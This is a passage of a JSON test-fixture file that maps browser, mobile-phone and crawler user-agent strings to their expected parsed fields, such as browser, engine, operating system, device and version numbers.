x86_64; en-US; rv:1.9.2.8) Gecko/20091023 Galeon/2.0.7 (Ubuntu 2.0.7-1ubuntu2)" : { "browser" : "galeon", "browser_string" : "Galeon", "engine" : "gecko", "engine_beta" : ".2.8", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "match" : [ "linux", "unix", "x11", "galeon", "gecko" ], "os" : "linux", "os_string" : "Linux", "public_beta" : ".7", "public_major" : "2", "public_minor" : ".0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.8", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "os" : "linux", "os_string" : "Linux", "public_major" : "3", "public_minor" : "0.6", "public_version" : "3.6" }, "Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.4) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.4 (Ubuntu-feisty)" : { "browser" : "epiphany", "browser_string" : "Epiphany", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "epiphany", "linux", "unix", "x11", "gecko" ], "os" : "linux", "os_string" : "Linux", "public_major" : "2", "public_minor" : ".18", "public_version" : "2.18" }, "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" : { "match" : [ "ahrefs", "robot" ], "robot" : "ahrefs", "robot_beta" : "", "robot_major" : "5", "robot_minor" : ".0", "robot_name" : "Ahrefs", "robot_string" : "Ahrefs", "robot_version" : "5.0" }, "Mozilla/5.0 (compatible; IODC-Odysseus Survey 21796-100-051215155936-107; +https://iodc.co.uk)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_string" : "IODC-Odysseus Survey 21796-100-051215155936-107" }, "Mozilla/5.0 (compatible; Konqueror/3.5; Linux; X11; x86_64) KHTML/3.5.6 (like Gecko) (Kubuntu)" : { "browser" : "konqueror", "browser_string" : "Konqueror", "engine" : "khtml", "engine_beta" : ".6", "engine_major" : "3", "engine_minor" : ".5", "engine_string" : "KHTML", "engine_version" : "3.5", "match" : [ "khtml", "konqueror", "linux", "unix", "x11" ], "no_match" : [ "gecko" ], "os" : "linux", "os_string" : "Linux", "public_major" : "3", "public_minor" : "0.5", "public_version" : "3.5" }, "Mozilla/5.0 (compatible; Konqueror/4.4; Linux; X11; x86_64) KHTML/4.4.2 (like Gecko) Kubuntu" : { "browser" : "konqueror", "browser_string" : "Konqueror", "engine" : "khtml", "engine_beta" : ".2", "engine_major" : "4", "engine_minor" : ".4", "engine_string" : "KHTML", "engine_version" : "4.4", "ios" : 0, "match" : [ "linux", "unix", "x11", "khtml", "konqueror" ], "no_match" : [ "gecko" ], "os" : "linux", "os_string" : "Linux", "public_major" : "4", "public_minor" : "0.4", "public_version" : "4.4" }, "Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)" : { "match" : [ "mj12bot", "robot" ], "robot" : "mj12bot", "robot_beta" : ".5", "robot_major" : "1", "robot_minor" : ".4", "robot_name" : "Majestic-12 DSearch", "robot_string" : "Majestic-12 DSearch", "robot_version" : "1.4" }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "major" : "10", "match" : [ "windows", "win7", "winnt", "win32", "trident", "ie", "ie10", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "version" : "10.0" }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ARM; Trident/6.0; Touch)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "major" : "10", "match" : [ "ie", "ie10", "ie55up", "ie4up", "ie5up", "tablet", "trident", "win32", "win8", "win8_0", "windows", "winnt" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win8.0", "other" : null, "version" : "10.0" }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "major" : "10", "match" : [ "windows", "win8", "win8_0", "winnt", "win32", "trident", "ie", "ie10", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win8.0", "other" : null, "version" : "10.0" }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; HTC; 8X)" : { "browser" : "ie", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "HTC 8X", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_version" : "6.0", "language" : null, "match" : [ "device", "windows", "winphone", "winphone8", "mobile", "trident", "ie", "ie4up", "ie55up", "ie5up", "ie10" ], "no_match" : [ "ie_compat_mode" ], "os" : "winphone", "os_beta" : "", "os_major" : "8", "os_minor" : ".0", "os_string" : "Windows Phone", "os_version" : "8.0" }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "major" : "9", "match" : [ "windows", "win7", "winnt", "win32", "trident", "ie", "ie9", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "version" : "9.0" }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; T7575)" : { "browser" : "ie", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "HTC T7575", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_version" : "5.0", "language" : null, "match" : [ "device", "windows", "winphone", "winphone7_5", "mobile", "trident", "ie", "ie4up", "ie55up", "ie5up", "ie9" ], "no_match" : [ "ie_compat_mode" ], "os" : "winphone", "os_beta" : "", "os_major" : "7", "os_minor" : ".5", "os_string" : "Windows Phone", "os_versin" : "7.5", "os_version" : "7.5" }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 510)" : { "browser" : "ie", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "NOKIA Lumia 510", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_version" : "5.0", "language" : null, "match" : [ "device", "windows", "winphone", "winphone7_5", "mobile", "trident", "ie", "ie4up", "ie55up", "ie5up", "ie9" ], "no_match" : [ "ie_compat_mode" ], "os" : "winphone", "os_beta" : "", "os_major" : "7", "os_minor" : ".5", "os_string" : "Windows Phone", "os_version" : "7.5" }, "Mozilla/5.0 (compatible; Pro Sitemaps Generator; pro-sitemaps.com) Gecko Pro-Sitemaps/1.0" : { "match" : [ "gecko", "pro-sitemaps", "robot", "robot_id" ], "robot_id" : "pro-sitemaps", "robot_string" : "Pro Sitemap Service" }, "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 320X240 LGE VX9200" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE VX9200", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE VX11000", "language" : "EN", "match" : [ "device", "unix", "wap", "mobile", "obigo", "x11" ], "os" : "unix", "os_string" : "Unix" }, "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp) NOT Firefox/3.5" : { "match" : [ "robot", "slurp", "yahoo" ], "robot" : "slurp", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".0", "robot_name" : "Yahoo! Slurp", "robot_string" : "Yahoo! Slurp", "robot_version" : "3.0" }, "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" : { "match" : [ "yandex", "robot" ], "robot" : "yandex", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".0", "robot_name" : "Yandex", "robot_string" : "Yandex", "robot_version" : "3.0" }, "Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)" : { "match" : [ "robot", "yandeximages" ], "robot" : "yandeximages", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".0", "robot_name" : "YandexImages", "robot_string" : "YandexImages", "robot_version" : "3.0" }, "Mozilla/5.0 (compatible; special_archiver/3.1.1 +http://www.archive.org/details/archive.org_bot)" : { "match" : [ "robot", "specialarchiver" ], "robot" : "specialarchiver", "robot_beta" : ".1", "robot_major" : "3", "robot_minor" : ".1", "robot_name" : "Internet Archive", "robot_string" : "Internet Archive", "robot_version" : "3.1" }, "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; en-NZ) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0" : { "browser" : "safari", "browser_string" : "Safari", "country" : "NZ", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".6", "engine_string" : "WebKit", "engine_version" : "534.6", "language" : "EN", "major" : "5", "match" : [ "linux", "safari", "tablet", "webkit", "unix" ], "minor" : "0.34", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : null, "version" : "5.34" }, "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B348b Safari/531.21.10" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".10", "engine_major" : "531", "engine_minor" : ".21", "engine_string" : "WebKit", "engine_version" : "531.21", "ios" : 1, "language" : "EN", "major" : "5", "match" : [ "safari", "ios", "ipad", "tablet", "webkit", "device" ], "minor" : "0.31", "os" : "ios", "os_beta" : "", "os_major" : "3", "os_minor" : ".2", "os_string" : "iOS", "os_version" : "3.2", "public_major" : "4", "public_minor" : "0", "public_version" : "4.0", "version" : "5.31" }, "Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; ja-JP) AppleWebKit/534.12 (KHTML, like Gecko) Puffin/1.3.3565MS Mobile Safari/534.12" : { "browser" : "safari", "browser_string" : "Puffin", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".12", "engine_version" : "534.12", "ios" : 1, "match" : [ "ios", "ipad", "mobile_safari", "device", "tablet", "webkit", "safari" ], "minor" : ".34", "no_match" : [ "robot" ], "os" : "ios", "os_beta" : "", "os_major" : "5", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "5.0", "version" : "5.34" }, "Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B329" : { "browser" : "safari", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_version" : "536.26", "match" : [ "device", "iphone", "ios", "mobile", "webkit", "safari" ], "os" : "ios", "os_beta" : ".3", "os_major" : "6", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "6.1" }, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_2 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5C1 Safari/525.20" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "525", "engine_minor" : ".18", "engine_string" : "WebKit", "engine_version" : "525.18", "ios" : 1, "language" : "EN", "major" : "5", "match" : [ "safari", "mobile", "iphone", "device", "webkit", "ios" ], "minor" : "0.25", "no_match" : null, "os" : "ios", "os_beta" : ".2", "os_major" : "2", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "2.0", "other" : null, "public_major" : "3", "public_minor" : "0.1", "public_version" : "3.1", "version" : "5.25" }, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)" : { "browser" : "safari", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "532", "engine_minor" : ".9", "engine_string" : "WebKit", "engine_version" : "532.9", "match" : [ "device", "google", "googlemobile", "iphone", "ios", "mobile", "robot", "webkit", "safari" ], "os" : "ios", "os_beta" : "", "os_major" : "4", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "4.1", "public_major" : "4", "public_minor" : "0", "public_version" : "4.0", "robot" : "googlemobile", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_string" : "Googlebot Mobile", "robot_version" : "2.1" }, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; ja-JP) AppleWebKit/534.12 (KHTML, like Gecko) Puffin/1.3.3507MS Mobile Safari/534.12" : { "browser" : "safari", "browser_string" : "Puffin", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".12", "engine_version" : "534.12", "ios" : 1, "match" : [ "mobile", "ios", "iphone", "mobile_safari", "device", "webkit", "safari" ], "minor" : ".34", "no_match" : [ "robot" ], "os" : "ios", "os_beta" : "", "os_major" : "5", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "5.0", "version" : "5.34" }, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3" : { "browser" : "chrome", "browser_beta" : ".1084.60", "browser_major" : "19", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".0", "engine_major" : "534", "engine_minor" : ".46", "engine_string" : "WebKit", "engine_version" : "534.46", "language" : "EN", "match" : [ "chrome", "device", "ios", "iphone", "mobile", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "5.1", "robot" : 0 }, "Mozilla/5.0 (iPod; U; CPU iPhone OS 2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F137 Safari/525.20" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "device" : "ipod", "device_string" : "iPod", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "525", "engine_minor" : ".18", "engine_string" : "WebKit", "engine_version" : "525.18", "language" : "EN", "match" : [ "safari", "mobile", "ipod", "ios", "webkit", "device" ], "os" : "ios", "os_beta" : "", "os_major" : "2", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "2.1" }, "Mozilla/5.0 (rv:1.3; BREW 3.1.5; en)/400x240 sam-r710 like Gecko/20080531 NetFront/3.5" : { "browser" : "netfront", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "NetFront", "device" : "wap", "device_string" : "sam-r710 like", "engine" : "netfront", "engine_string" : "NetFront", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "netfront" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/5.0 (webOS/1.0; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Pre/1.0" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "device" : "webos", "device_string" : "webOS", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "525", "engine_minor" : ".27", "engine_string" : "WebKit", "engine_version" : "525.27", "language" : "EN", "match" : [ "safari", "mobile", "webos", "webkit", "device" ] }, "Mozilla/5.001 (Macintosh; N; PPC; ja) Gecko/25250101 MegaCorpBrowser/1.0 (MegaCorp, Inc.)" : { "browser" : "mozilla", "browser_string" : "Mozilla", "country" : null, "engine" : "gecko", "language" : "JA", "major" : "5", "match" : [ "netscape", "nav4up", "nav45up", "nav6", "nav6up", "mac", "macppc", "mozilla", "gecko" ], "minor" : "0.001", "no_match" : null, "os" : "mac", "os_string" : "Mac", "other" : null, "version" : "5.001" }, "Mozilla/5.001 (windows; U; NT4.0; en-us) Gecko/25250101" : { "browser" : "mozilla", "browser_string" : "Mozilla", "country" : "US", "engine" : "gecko", "language" : "EN", "major" : "5", "match" : [ "netscape", "nav4up", "nav45up", "windows", "winnt", "win32", "gecko", "nav6", "nav6up", "mozilla" ], "minor" : "0.001", "no_match" : null, "os" : "windows", "os_string" : "WinNT", "other" : null, "version" : "5.001" }, "Mozilla/9.876 (X11; U; Linux 2.2.12-20 i686, en) Gecko/25250101 Netscape/5.432b1 (C-MindSpring)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "engine" : "gecko", "language" : null, "major" : "5", "match" : [ "netscape", "nav4up", "nav45up", "nav6", "nav6up", "linux", "unix", "mozilla", "gecko", "x11" ], "minor" : "0.432", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : null, "version" : "5.432" }, "Mozilla/DnsHealthCheckBot/1.0" : { "browser" : "netscape", "browser_string" : "Netscape", "match" : [ "netscape", "robot" ], "public_major" : "1", "public_minor" : "0", "public_version" : "1.0", "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_string" : "DnsHealthCheckBot", "robot_version" : "1.0" }, "NetFront/3.5.1(BREW 3.1.5; U; en-us; SAMSUNG; NetFront/3.1.5/AMB) Sprint M560 MMP/2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "netfront", "browser_beta" : ".1", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "NetFront", "country" : "US", "device" : "wap", "device_string" : "WAP capable phone", "engine" : "netfront", "engine_string" : "NetFront", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "netfront" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Nokia-WAP-Toolkit/1.3beta" : { "country" : null, "device" : "wap", "device_string" : "Nokia-WAP-Toolkit", "language" : null, "major" : "1", "match" : [ "wap", "device", "mobile" ], "minor" : "0.3", "no_match" : null, "other" : null, "version" : "1.3" }, "Nokia110/2.0 (03.28) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; ar-SA; nokia110) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "SA", "device" : "wap", "device_string" : "nokia110", "language" : "AR", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia114/2.0 (03.33) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; hi; nokia114) U2/1.0.0 UCBrowser/8.9.0.251 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.251", "browser_major" : "8", "browser_minor" : ".9", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "nokia114", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia114/2.0 (03.47) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; Nokia114) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia114", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia200/2.0 (11.56) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; en-in; nokia200) UCBrowser8.2.0.132/69/452/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.132", "browser_major" : "8", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "IN", "device" : "wap", "device_string" : "Nokia200", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia200/2.0 (11.81) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; en-us; nokia200) AppleWebKit/530.13 (KHTML, like Gecko) UCBrowser/8.6.0.199/69/405/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.199", "browser_major" : "8", "browser_minor" : ".6", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia200", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".13", "engine_string" : "WebKit", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser", "webkit" ] }, "Nokia2690/2.0 (10.10) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; es-LA; Nokia2690) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "LA", "device" : "wap", "device_string" : "Nokia2690", "language" : "ES", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia2700c-2/2.0 (09.80) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; nokia2700c-2) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "nokia2700c-2", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia2700c-2/2.0 (09.98) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; Nokia2700c-2) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia2700c-2", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia305/2.0 (07.42) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; Nokia305) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia305", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia310/2.0 (07.35) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; Nokia310) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia310", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia3120classic/2.0 (09.41) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; en-us; nokia3120classic) AppleWebKit/530.13 (KHTML, like Gecko) UCBrowser/8.6.0.199/69/352/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.199", "browser_major" : "8", "browser_minor" : ".6", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia3120classic", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".13", "engine_string" : "WebKit", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser", "webkit" ] }, "Nokia5130c-2/2.0 (07.91) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; en-us; nokia5130c-2) AppleWebKit/530.13 (KHTML, like Gecko) UCBrowser/8.6.0.199/84/352/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.199", "browser_major" : "8", "browser_minor" : ".6", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia5130c-2", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".13", "engine_string" : "WebKit", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser", "webkit" ] }, "Nokia5130c-2/2.0 (07.97) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; bn; Nokia5130c-2) U2/1.0.0 UCBrowser/9.4.0.342 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.342", "browser_major" : "9", "browser_minor" : ".4", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "Nokia5130c-2", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia5610 XpressMusic/2.0 (04.88) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; es-LA; Nokia5610 XpressMusic) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "LA", "device" : "wap", "device_string" : "Nokia5610 XpressMusic", "language" : "ES", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Nokia7110/1.0 (30.05)" : { "country" : null, "device" : "wap", "device_string" : "Nokia7110", "language" : null, "major" : "1", "match" : [ "wap", "device", "mobile" ], "minor" : "0", "no_match" : null, "other" : null, "version" : "1" }, "NokiaC2-03/2.0 (07.57) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; nokiac2-03) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "nokiac2-03", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-00/5.0 (08.35) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; NokiaX2-00) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "NokiaX2-00", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-01/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; NokiaX2-01) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "NokiaX2-01", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-01/5.0 (08.65) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; nokiax2-01) U2/1.0.0 UCBrowser/9.1.0.291 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.291", "browser_major" : "9", "browser_minor" : ".1", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "nokiax2-01", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-01/5.0 (08.70) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; vi; NokiaX2-01) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" 